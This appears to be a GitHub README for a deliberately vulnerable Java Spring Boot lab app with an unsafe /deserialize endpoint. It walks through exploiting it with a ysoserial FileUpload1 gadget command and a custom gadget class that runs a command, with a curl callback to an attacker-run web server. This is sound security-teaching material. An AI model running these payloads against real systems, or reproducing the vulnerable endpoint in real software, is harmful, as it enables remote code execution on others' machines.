-
How to Run:
- Run via
mvn spring-boot:run
- Run via
-
Routes:
- Read
blub.txtfile: Visit/file-test?file=blub.txt - Serialize:
- Get a serialized
Bookobject: Visit/serialize?doUrlEncode=false - Get a serialized
Bookobject that is also URL encoded: Visit/serialize?doUrlEncode=true
- Get a serialized
- Deserialize:
GET: VisitGET /deserialize?b=<base64book_UrlEncoded>POST: VisitPOST /deserializeand provide theobject-to-deserializein the body
- Read
-
Exploiting a
Gadget Chain(that still works as of August 2022!):- As a PoC, the
pom.xmlcontainscommons-fileupload:1.3.1andcommons-io:2.4 - Thus, we can use the
FileUpload1gadget chain fromysoserial:java -jar ysoserial.jar FileUpload1 'write;/tmp;HACKEEED' | base64 - We send this to our
Spring Bootapp, which will create a randomly named file (e.g./tmp/upload_1e2897d1_aac7_4210_8911_57cbb6ac37c0_00000000.tmp) in/tmpwith the contentHACKEEED
- As a PoC, the
-
We also created our own
Gadget Chain->BookRceReadObject(uses the gadgetreadObject)General Description:- We created a new class
BookRceReadObject.javathat execute a command upon deserialization - We also create a separate mini app
Evil.javawhere we serialize an instance of this class, give it a command of our choosing, and then send the serialized base64-encoded string toPOST /deserialize
- We created a new class
Command to Execute:- You can adjust the command to execute in
Evil.java(this can't be done via a command line argument for now - Boo, I know.)
- You can adjust the command to execute in
Setup:- We first compile
Evil.javaviajavac Evil.java BookRceSetter.java BookRceSetter.java - Now, we
cdinto the/src/main/javafolder, and runjava com.example.my.tests.Evil - We now use the generated file
naughty_BookRceReadObject.serthat contains a base64 encoded version of our serialized payload
- We first compile
Exploitation:PoC-curl:- We run a web server via
python3 -m http.server 82 - Now, we adjust the IP address of the
curlcommand inEvil.javato wherever this web server is running - Last, we send a request to our API:
POST /deserialize
Content-Type: application/json
<content ofnaughty_BookRceReadObject.ser> - If everything works, our web server gets hit
- We run a web server via
-
Testing
Setter Gadget Chain-> Not working- We also create
BookRceSetter.javawhich would execute a command upon calling a setter- Our idea is that a
settermight be automatically invoked upon deserialization (to set the corresponding value)
- Our idea is that a
- We do the same steps as in the above section, send the payload from
naughty_BookRceSetter.serto/POST deserialize...- But it's not working.. Our command does not execute...
- We also create
-
Notifications
You must be signed in to change notification settings - Fork 0
This project contains a Java deserialization vulnerability that is exploitable with some ysoserial payloads, but also contains a custom class that can be leveraged to get command execution upon deserialization.
dub-flow/java-gadget-chain
Folders and files
| Name | Name | Last commit message | Last commit date | |
|---|---|---|---|---|
Repository files navigation
About
This project contains a Java deserialization vulnerability that is exploitable with some ysoserial payloads, but also contains a custom class that can be leveraged to get command execution upon deserialization.
Topics
Resources
Stars
Watchers
Forks
Releases
No releases published
Packages 0
No packages published